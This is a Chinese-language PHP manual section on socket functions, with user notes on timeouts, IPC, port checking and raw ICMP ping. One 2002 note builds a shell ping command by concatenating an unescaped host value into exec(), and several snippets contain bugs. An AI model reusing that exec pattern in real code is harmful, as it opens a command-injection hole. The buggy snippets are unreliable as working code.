raphael at engenhosweb dot com dot br 27-Jul-2011 02:45
You can do this too, with anonymous function:
<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or function() {
            $errstr = socket_strerror(socket_last_error());
            echo ("Failed to create socket: " . $errstr);
            socket_clear_error();
        };
?>
ludvig dot ericson at gmail dot com 23-May-2006 04:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
    echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.


关闭 Socket 实例

  • ? socket_clear_error
  • socket_cmsg_space ?
  • PHP Manual
  • Socket 函数
  • 关闭 Socket 实例

socket_close

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_close — 关闭 Socket 实例

说明

socket_close(Socket $socket): void

socket_close() 会关闭由 socket 参数指定的 Socket 实例。

参数

socket

由 socket_create() 或者是 socket_accept() 创建的 Socket 实例。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_bind() - 给套接字绑定名字
  • socket_listen() - 监听套接字的连接
  • socket_create() - 创建一个套接字（通讯节点）
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

yaBliznyk at gmail dot com 04-Apr-2017 10:46
/* any code */
$linger = array ('l_linger' => 0, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);
socket_close($sock);

This is code to force close socket connection.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 10:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

    // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
    $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
    socket_set_block($this->Socket);
    socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
    socket_close($this->Socket);
chaos 07-Jun-2002 03:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.


Calculate message buffer size

  • ? socket_close
  • socket_connect ?
  • PHP Manual
  • Socket 函数
  • Calculate message buffer size

socket_cmsg_space

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_cmsg_space — Calculate message buffer size

说明

socket_cmsg_space(int $level, int $type, int $num = 0): ?int

Calculates the size of the buffer that should be allocated for receiving the ancillary data.

Warning

本函数还未编写文档，仅有参数列表。

参数

level

type

返回值

参见

  • socket_recvmsg() - Read a message
  • socket_sendmsg() - Send a message

User Contributed Notes

There are no user contributed notes for this page.


开启一个套接字连接

  • ? socket_cmsg_space
  • socket_create_listen ?
  • PHP Manual
  • Socket 函数
  • 开启一个套接字连接

socket_connect

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_connect — 开启一个套接字连接

说明

socket_connect(Socket $socket, string $address, ?int $port = null): bool

使用 Socket 实例 socket 发起到 address 的连接，该实例必须要求是用 socket_create() 创建的 Socket 有效的套接字资源实例。

参数

socket

由 socket_create() 创建的 Socket 实例。

address

如果参数 socket 是 AF_INET，那么参数 address 则可以是一个点分四组表示法（例如 127.0.0.1 ） 的 IPv4 地址；如果支持 IPv6 并且 socket 是 AF_INET6，那么 address 也可以是有效的 IPv6 地址（例如 ::1）；如果套接字类型为 AF_UNIX ，那么 address 也可以是一个 Unix 套接字。

port

参数 port 仅仅用于 AF_INET 和 AF_INET6 套接字连接的时候，并且是在此情况下是需要强制说明连接对应的远程服务器上的端口号。

返回值

成功时返回 true， 或者在失败时返回 false。 错误代码会传入 socket_last_error() ，如果将此参数传入 socket_strerror() 则可以得到错误的文字说明。

Note:

如果套接字是非堵塞的，此函数将返回 false 并产生一个错误 Operation now in progress。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。
8.0.0 | port 允许为空。

参见

  • socket_bind() - 给套接字绑定名字
  • socket_listen() - 监听套接字的连接
  • socket_create() - 创建一个套接字（通讯节点）
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

tacapi at canela dot com 13-Apr-2017 12:35
Just a heads up guys: make sure you're passing a properly formatted IP to your ping and socket functions.

E.g.: 192.168.0.18 -> OK
      192.168.0.018 -> Will result in "Unkwown host"

I was getting a 11004 error and could not solve it until I realized that was the problem.

(Pode ser que seja útil para alguém: verifique que o IP passado por parametro para o seu ping e fun??es socket é um endere?o de IP corretamente formatado)
Cedar Myers 15-Apr-2011 10:23
It seems that timeout values can be specified by setting the SO_SNDTIMEO option before calling socket_connect():

<?php
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $seconds, 'usec' => $milliseconds));
socket_connect($socket, $address, $port)//...
?>
thewanderer 17-Jan-2011 10:55
Note that as of PHP5.3 it is not possible to send IPv6 multicast to link-local addresses, because socket_connect() is just a trimmed-down version of connect() and does not support passing sin6_scope_id - the scope ID is required when sending packets to ff02::1 (all-nodes), for example.
At first I thought I needed to bind the socket to the device using SO_BINDTODEVICE option (undefined constant in PHP - use numeric value 25), but it makes no difference, only requires root privileges to produce no usable results.
Also, if you think you are sending multicast packets to link local addresses just because socket_sendto() returns a positive number of bytes, you might be wrong - just returning success does not mean that packets are sent over any link at all. In my test case I was sending to ff02::1, I could detect no errors, but Wireshark showed no packets. They end up in void.
This is irrelevant to the handling of local reception sockets, so UDP listeners should still work as usual with IPv6/UDP. You might want to resort to C for implementing multicasters, though.
peter at videoripper dot org 29-Oct-2009 11:29
This will give you a simple port-checker.

Note that on production-machines, you might want to alter the error reporting-level,
since unsuccessful connects will give you a "No connection could be made because
the target machine actively refused it"-error in the log.

Under Windows, make sure you enable the php_sockets.dll extension in your php.ini.

<?php
  $address=$_SERVER['REMOTE_ADDR'];

  if (isset($_REQUEST['port']) and
      (!strlen($_REQUEST['port'])==0))
    $port=$_REQUEST['port'];
  else
    unset($port);

  if (isset($port) and
      ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and
      (socket_connect($socket, $address, $port)))
    {
      $text="Connection successful on IP $address, port $port";
      socket_close($socket);
    }
  else
    $text="Unable to connect<pre>".socket_strerror(socket_last_error())."</pre>";

  echo "<html><head></head><body>".
       $text.
       "</body></html>";
?>

Greetz,

Peter.
jerrywilborn at gmail dot com 02-Sep-2009 09:40
This will print the banner from a true 'telnet' server (router, switch, host, etc).

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 23);

while (TRUE) {
        $r = array($socket);
        $c = socket_select($r, $w = NULL, $e = NULL, 5);

        foreach ($r as $read_socket) {
                if ($r = negotiate($read_socket)) {
                        var_dump($r);
                        exit;
                }
        }
}

function negotiate ($socket) {
        socket_recv($socket, $buffer, 1024, 0);

        for ($chr = 0; $chr < strlen($buffer); $chr++) {
                if ($buffer[$chr] == chr(255)) {

                        $send = (isset($send) ? $send . $buffer[$chr] : $buffer[$chr]);

                        $chr++;
                        if (in_array($buffer[$chr], array(chr(251), chr(252)))) $send .= chr(254);
                        if (in_array($buffer[$chr], array(chr(253), chr(254)))) $send .= chr(252);

                        $chr++;
                        $send .= $buffer[$chr];
                } else {
                        break;
                }
        }

        if (isset($send)) socket_send($socket, $send, strlen($send), 0);
        if ($chr - 1 < strlen($buffer)) return substr($buffer, $chr);

}
vshih at yahoo 14-Apr-2009 12:52
rbarnes' tip is helpful, but I found that I needed to add a check for SOCKET_EISCONN in the while loop:

    ...
    $error = socket_last_error();

    if ($error == SOCKET_EISCONN) {
        $connected = true;
        break;
    }
    ...

At least on Mac OS X 10.5.
maganap 18-Sep-2008 12:15
Hi there!

For the TCP connections: socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
In case you're having problems in socket_connect() with socket_strerror() = "Permission denied", you may be having a SELinux config issue.

Check if SELinux is enabled:
# /usr/sbin/sestatus -v
In case it is, you can just type the command:
# setsebool httpd_can_network_connect=1

That's it... I read you had to reboot, but I didn't and it worked fine anyway. More info, you may check:
http://arkiv.netbsd.se/?ml=squirrelmail-users&a=2005-11&t=1523021
rbarnes at fake dot com 15-Jul-2008 10:04
Here is an example of a non-blocking connect which should perform quite a bit faster than the one posted by Seymour below:

<?php
function msConnectSocket($remote, $port, $timeout = 30) {
        # this works whether $remote is a hostname or IP
        $ip = "";
        if( !preg_match('/^\d+\.\d+\.\d+\.\d+$/', $remote) ) {
            $ip = gethostbyname($remote);
            if ($ip == $remote) {
                $this->errstr = "Error Connecting Socket: Unknown host";
                return NULL;
            }
        } else $ip = $remote;

        if (!($this->_SOCK = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            $this->errstr = "Error Creating Socket: ".socket_strerror(socket_last_error());
            return NULL;
        }

        socket_set_nonblock($this->_SOCK);

        $error = NULL;
        $attempts = 0;
        $timeout *= 1000;  // adjust because we sleeping in 1 millisecond increments
        $connected;
        while (!($connected = @socket_connect($this->_SOCK, $remote, $port+0)) && $attempts++ < $timeout) {
            $error = socket_last_error();
            if ($error != SOCKET_EINPROGRESS && $error != SOCKET_EALREADY) {
                $this->errstr = "Error Connecting Socket: ".socket_strerror($error);
                socket_close($this->_SOCK);
                return NULL;
            }
            usleep(1000);
        }

        if (!$connected) {
            $this->errstr = "Error Connecting Socket: Connect Timed Out After $timeout seconds. ".socket_strerror(socket_last_error());
            socket_close($this->_SOCK);
            return NULL;
        }

        socket_set_block($this->_SOCK);

        return 1;
}
?>
mike at fserve dot us 22-Feb-2008 02:14
This probably sounds like common sense, but it is something nobody i asked thought of... you can't bind the socket to localhost, you must bind it to either the IP your router assigns you, or your public IP address. If you bind to localhost, it will give an invalid resource error.
telefoontoestel at home 23-Nov-2003 12:05
In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain 01-Oct-2003 12:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
    $host = "127.0.0.1";
    $port = "80";
    $timeout = 15;  //timeout in seconds

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
      or die("Unable to create socket\n");

    socket_set_nonblock($socket)
      or die("Unable to set nonblock on socket\n");

    $time = time();
    while (!@socket_connect($socket, $host, $port))
    {
      $err = socket_last_error($socket);
      if ($err == 115 || $err == 114)
      {
        if ((time() - $time) >= $timeout)
        {
          socket_close($socket);
          die("Connection timed out.\n");
        }
        sleep(1);
        continue;
      }
      die(socket_strerror($err) . "\n");
    }

    socket_set_block($this->socket)
      or die("Unable to set block on socket\n");
?>
w at ff dot st 28-Jun-2003 02:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca 30-Apr-2003 02:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com 24-Jul-2002 11:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

<?php
$address = gethostbyname ($ip);
        $command = "ping -c 1 " . $address;
        $r = exec($command);
          if ($r[0]=="r")
          {
            $socket = socket_create (AF_INET, SOCK_STREAM, 0);
            if ($socket < 0) {
                echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
            } else {
                echo "OK.\n";
            }
?>


在端口上打开一个套接字以接受连接

  • ? socket_connect
  • socket_create_pair ?
  • PHP Manual
  • Socket 函数
  • 在端口上打开一个套接字以接受连接

socket_create_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_listen — 在端口上打开一个套接字以接受连接

说明

socket_create_listen(int $port, int $backlog = 128): Socket|false

socket_create_listen() 创建一个 AF_INET 类型的 Socket 实例，在所有本地接口上监听指定端口，等待新连接。

此方法旨在简化创建新的套接字任务，仅监听且用于接受新连接。

参数

port

监听所有接口的端口号

backlog

backlog 参数定义了待处理的连接队列的最大长度。SOMAXCONN 可以作为 backlog 参数，详情见 socket_listen()。

返回值

socket_create_listen() 成功时返回一个新的 Socket
实例，错误时返回 false。可以通过调用 socket_last_error()
来检索实际的错误码。将错误码作为参数传递给 socket_strerror() 以获得错误的文本解释。

更新日志

版本 | 说明
8.0.0 | 成功时，该函数现在返回一个 Socket 实例；在此之前，返回值是一个 resource。

注释

Note:

如果想创建只监听某个接口的套接字，需要使用 socket_create()，socket_bind() 和 socket_listen()。

参见

  • socket_create() - 创建一个套接字（通讯节点）
  • socket_create_pair() - 创建一对彼此连接的套接字，并用数组存储
  • socket_bind() - 给套接字绑定名字
  • socket_listen() - 监听套接字的连接
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:34
I believe that on some systems this may not bind to some or all public interfaces.

On my Windows system, I could not connect on the public interface using this, but could when I made the individual calls to create, bind, and listen.

Dustin Oprea
sysspoof at ng-lab dot org 06-Mar-2008 11:03
Please note that port 1 to and with 1024 on linux and bsd system require root privileges. So it is recommended to choose a higher port for your own application.
jdittmer at ppp0 dot net 17-Jul-2004 04:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($c, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com 06-Feb-2004 02:50
Remember that ports are only valid from 1 - 65535

[editor's note: typo fixed, thanks abryant at apple dot com]


创建一对彼此连接的套接字，并用数组存储

  • ? socket_create_listen
  • socket_create ?
  • PHP Manual
  • Socket 函数
  • 创建一对彼此连接的套接字，并用数组存储

socket_create_pair

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_pair — 创建一对彼此连接的套接字，并用数组存储

说明

socket_create_pair(
int $domain,
int $type,
int $protocol,
array &$pair
): bool

socket_create_pair() 创建两个已连接的，彼此连接的套接字，并存储在 pair 中。此函数通常在 IPC（进程间通信）使用。

参数

domain

domain 参数指定套接字使用的协议族。完整列表参见 socket_create()。

type

type 参数选择套接字使用的通信类型。完整列表参见 socket_create()。

protocol

domain 参数指定套接字在 domain 协议族下通信时使用的具体协议。这个值可以通过 getprotobyname() 获取。如果所需的协议是 TCP 或 UDP，可以直接使用相应的常量 SOL_TCP 和 SOL_UDP。

有关支持协议的完整列表，参见 socket_create()。

pair

包含两个 Socket 实例的引用数组。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | pair 现在是 Socket 实例的引用数组；在这之前是 resource 的引用数组。

示例

Example #1 socket_create_pair() 示例

<?php
$sockets = array();

/* On Windows we need to use AF_INET */
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

/* Setup socket pair */
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Receive Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

Example #2 socket_create_pair() IPC 示例

<?php
$ary = array();
$strone = 'Message From Parent.';
$strtwo = 'Message From Child.';

if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary) === false) {
echo "socket_create_pair() failed. Reason: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
echo 'Could not fork Process.';
} elseif ($pid) {
/*parent*/
socket_close($ary[0]);
if (socket_write($ary[1], $strone, strlen($strone)) === false) {
echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[1]));
}
if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
echo "Received $strtwo\n";
}
socket_close($ary[1]);
} else {
/*child*/
socket_close($ary[1]);
if (socket_write($ary[0], $strtwo, strlen($strtwo)) === false) {
echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[0]));
}
if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
echo "Received $strone\n";
}
socket_close($ary[0]);
}
?>

参见

  • socket_create() - 创建一个套接字（通讯节点）
  • socket_create_listen() - 在端口上打开一个套接字以接受连接
  • socket_bind() - 给套接字绑定名字
  • socket_listen() - 监听套接字的连接
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

cweiske at php dot net 09-May-2009 01:45
The underlying sockpair() function does only support AF_UNIX at least on BSD and Linux.
thegreatall at gmail dot com 13-Jul-2007 11:24
There is a syntax error in one of the code samples provided, it should look like this:
<?php
$sockets = array();
/* Setup socket pair */
if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>


创建一个套接字（通讯节点）

  • ? socket_create_pair
  • socket_export_stream ?
  • PHP Manual
  • Socket 函数
  • 创建一个套接字（通讯节点）

socket_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create — 创建一个套接字（通讯节点）

说明

socket_create(int $domain, int $type, int $protocol): Socket|false

创建并返回一个 Socket 实例，也称作一个通讯节点。一个典型的网络连接由 2 个套接字构成，一个运行在客户端，另一个运行在服务器端。

参数

domain

domain 参数指定哪个协议用在当前套接字上。

可用的地址/协议
Domain | 描述
AF_INET | IPv4 网络协议。TCP 和 UDP 都可使用此协议。
AF_INET6 | IPv6 网络协议。TCP 和 UDP 都可使用此协议。
AF_UNIX | 本地通讯协议。具有高性能和低成本的 IPC（进程间通讯）。
type

type 参数用于选择套接字使用的类型。

可用的套接字类型
类型 | 描述
SOCK_STREAM | 提供一个顺序化的、可靠的、全双工的、基于连接的字节流。支持数据传送流量控制机制。TCP 协议即基于这种流式套接字。
SOCK_DGRAM | 提供数据报文的支持。(无连接，不可靠、固定最大长度).UDP协议即基于这种数据报文套接字。
SOCK_SEQPACKET | 提供一个顺序化的、可靠的、全双工的、面向连接的、固定最大长度的数据通信；数据端通过接收每一个数据段来读取整个数据包。
SOCK_RAW | 提供读取原始的网络协议。这种特殊的套接字可用于手工构建任意类型的协议。一般使用这个套接字来实现 ICMP 请求（例如 ping）。
SOCK_RDM | 提供一个可靠的数据层，但不保证到达顺序。一般的操作系统都未实现此功能。
protocol

protocol 参数，是设置指定 domain 套接字下的具体协议。这个值可以使用 getprotobyname() 函数进行读取。如果所需的协议是 TCP 或 UDP，可以直接使用常量 SOL_TCP 和 SOL_UDP 。

常见协议
名称 | 描述
icmp | 互联网控制消息协议（Internet Control Message Protocol）主要用于网关和主机报告错误的数据通信。 例如 "ping" 命令（在目前大部分的操作系统中）就是使用 ICMP 协议实现的。
udp | 用户数据包协议（User Datagram Protocol）是一个无连接的、不可靠的、具有固定最大长度的报文协议。由于这些特性，UDP 协议拥有最小的协议开销。
tcp | 传输控制协议（Transmission Control Protocol）是一个可靠的、基于连接的、面向数据流的全双工协议。TCP 能够保障所有的数据包是按照其发送顺序而接收的。如果任意数据包在通讯时丢失，TCP 将自动重发数据包直到目标主机应答已接收。因为可靠性和性能的原因，TCP 在数据传输层使用 8bit 字节边界。因此，TCP 应用程序必须允许传送部分报文的可能。

返回值

socket_create() 正确时返回一个 Socket 实例，失败时返回 false。要读取错误代码，可以调用 socket_last_error()。这个错误代码可以通过 socket_strerror() 读取文字的错误说明。

错误／异常

如果使用一个无效的 domain 或 type，socket_create() 会使用 AF_INET 和 SOCK_STREAM 替代无效参数，同时会发出 E_WARNING 警告信息。

更新日志

版本 | 说明
5.0.0 | 增加 AF_INET6 支持。
8.0.0 | 创建成功时，该函数现在返回一个 Socket 实例； 在此之前，返回的是一个 resource。

参见

  • socket_accept() - 接受套接字上的连接
  • socket_bind() - 给套接字绑定名字
  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

Sakrizz 16-Nov-2016 10:46
Here's a solution for icmpv6 ping with php, dropping it here in case if someone has problems with icmpv6 with php.

<?php
$host = "2a03:2880:f11b:83:face:b00c:0:25de";
$timeout = 100000;
$count = 3;
echo "Latency: ". round(1000 * pingv6($host,$timeout,$count),5) ." ms \n";

function pingv6($target,$timeout,$count) {
    echo "target is ipv6 address, ". getprotobyname('ipv6-icmp'). " \n";
    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET6, SOCK_RAW, getprotobyname('ipv6-icmp'));
    /* set socket receive timeout to 1 second */
    $sec=intval($timeout/1000);
    $usec=$timeout%1000*1000;
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$sec, "usec"=>$usec));
    /* socket package parameters */
    $type = "\x80";
    $seqNumber = chr(floor($i/256)%256) . chr($i%256);
    $checksum= "\x00\x00";
    $code = "\x00";
    $identifier = chr(rand(0,255)) . chr(rand(0,255));
    $msg = "!\"#$%&'()*+,-./1234567";
    $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
        $checksum = icmpChecksum($package);
        $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
    /* socket connect */
    if(@socket_connect($socket, $target, null)){
        for($i = 0; $i < $count; $i++){
                list($start_usec, $start_sec) = explode(" ", microtime());
                $start_time = ((float) $start_usec + (float) $start_sec);
                $startTime = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                while ($startTime + $timeout*1000 > microtime(true)){
                        if(socket_read($socket, 255) !== false) {
                                list($end_usec, $end_sec) = explode(" ", microtime());
                                $end_time = ((float) $end_usec + (float) $end_sec);
                                $total_time = $end_time - $start_time;
                                echo "round trip time (".$i."): ". $total_time ."\n";
                                return $total_time;
                                break;
                        }else{
                                return "null";
                                echo "Timed out (".$i."), Got no echo reply\n";
                                break;
                        }
                }
            usleep($interval*1000);
        }
        socket_close($socket);
    }
}

function icmpChecksum($data){
if (strlen($data)%2) $data .= "\x00";
$bit = unpack('n*', $data);
$sum = array_sum($bit);
while ($sum >> 16)
  $sum = ($sum >> 16) + ($sum & 0xffff);
return pack('n*', ~$sum);
}

?>
ab1965 at yandex dot ru 04-May-2012 12:43
It took some time to understand how one PHP process can communicate with another by means of unix udp sockets. Examples of 'server' and 'client' code are given below. Server is assumed to run before client starts.

'Server' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be used in recv_from and send_to
$server_side_sock = dirname(__FILE__)."/server.sock";
if (!socket_bind($socket, $server_side_sock))
        die("Unable to bind to $server_side_sock");

while(1) // server never exits
{
// receive query
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
echo "Ready to receive...\n";
// will block to wait client query
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

$buf .= "->Response"; // process client query here

// send response
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// client side socket filename is known from client request: $from
$len = strlen($buf);
$bytes_sent = socket_sendto($socket, $buf, $len, 0, $from);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');
echo "Request processed\n";
}
?>

'Client' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be later used in recv_from
// no binding is required if you wish only send and never receive
$client_side_sock = dirname(__FILE__)."/client.sock";
if (!socket_bind($socket, $client_side_sock))
        die("Unable to bind to $client_side_sock");

// use socket to send data
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// server side socket filename is known apriori
$server_side_sock = dirname(__FILE__)."/server.sock";
$msg = "Message";
$len = strlen($msg);
// at this point 'server' process must be running and bound to receive from serv.sock
$bytes_sent = socket_sendto($socket, $msg, $len, 0, $server_side_sock);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');

// use socket to receive data
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
// will block to wait server response
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

// close socket and delete own .sock file
socket_close($socket);
unlink($client_side_sock);
echo "Client exits\n";
?>
geoff at spacevs dot com 20-Nov-2010 01:51
Here is a ping function for PHP without using exec/system/passthrough/etc... Very useful to use to just test if a host is online before attempting to connect to it. Timeout is in seconds.

<?PHP
        function ping($host, $timeout = 1) {
                /* ICMP ping packet with a pre-calculated checksum */
                $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                $socket  = socket_create(AF_INET, SOCK_RAW, 1);
                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
                socket_connect($socket, $host, null);

                $ts = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                if (socket_read($socket, 255))
                        $result = microtime(true) - $ts;
                else    $result = false;
                socket_close($socket);

                return $result;
        }
?>
rhollencamp at gmail dot com 08-Sep-2009 09:29
Note that if you create a socket with AF_UNIX, a file will be created in the filesystem. This file is not removed when you call socket_close - you should unlink the file after you close the socket.
alexander dot krause at ed-solutions dot de 20-Mar-2008 12:57
On UNIX systems php needs /etc/protocols for constants like SOL_UDP and SOL_TCP.

This file was missing on my embedded platform.
Jean Charles MAMMANA 31-Jan-2008 04:54
I've written the ping() function using socket_create() with SOCK_RAW.
(on Unix System, you need to have the root acces to execute this function)

<?php

/// start ping.inc.php ///

$g_icmp_error = "No Error";

// timeout in ms
function ping($host, $timeout)
{
        $port = 0;
        $datasize = 64;
        global $g_icmp_error;
        $g_icmp_error = "No Error";
        $ident = array(ord('J'), ord('C'));
        $seq   = array(rand(0, 255), rand(0, 255));

     $packet = '';
     $packet .= chr(8); // type = 8 : request
     $packet .= chr(0); // code = 0

     $packet .= chr(0); // checksum init
     $packet .= chr(0); // checksum init

        $packet .= chr($ident[0]); // identifier
        $packet .= chr($ident[1]); // identifier

        $packet .= chr($seq[0]); // seq
        $packet .= chr($seq[1]); // seq

